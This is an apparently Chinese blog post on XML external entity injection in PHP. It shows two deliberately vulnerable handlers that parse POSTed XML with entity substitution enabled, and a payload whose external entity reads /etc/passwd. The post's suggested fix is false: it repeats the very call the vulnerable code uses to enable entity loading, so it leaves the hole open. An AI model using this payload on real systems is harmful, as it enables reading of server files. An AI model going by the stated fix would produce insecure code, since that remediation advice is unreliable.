XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共1833人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    陪着我，不离开，是对我最好的疼爱。

    ——李宫俊

今日排行

  • VSCode插件 - 快速生成表格并格式化

    快速生成表格

  • 《康熙王朝》经典对白

    《康熙王朝》是一部非常优秀的电视连续剧，陈道明演的康熙是我觉得最有帝王气魄，让人意犹未尽，本文主要记录一小段非常经典的对白。

  • top：实时显示系统各个进程占用的资源情况

    top命令用于实时显示系统中进程占用资源的情况。该命令还可以按照CPU的使用、内存使用和执行时间对系统进程进行排序显示。同时top命令还可以通过交互命令进行设定显示

  • pip国内镜像源

    默认情况下 pip 使用的是国外的镜像，在下载的时候速度非常慢，本文我们介绍使用国内源对pip进行加速。

  • 人脸认证：face_recognition库的安装与应用

    人脸识别技术如今已广泛应用于安全监控、身份验证、人机交互等多个领域。对于开发者而言，利用现有的库如face_recognition可以极大地简化人脸识别的开发过程。本文将详细介绍如何安装face_recognition库，并通过实例展示如何用它来实现一个基本的人脸比对服务。

点击排行

友情链接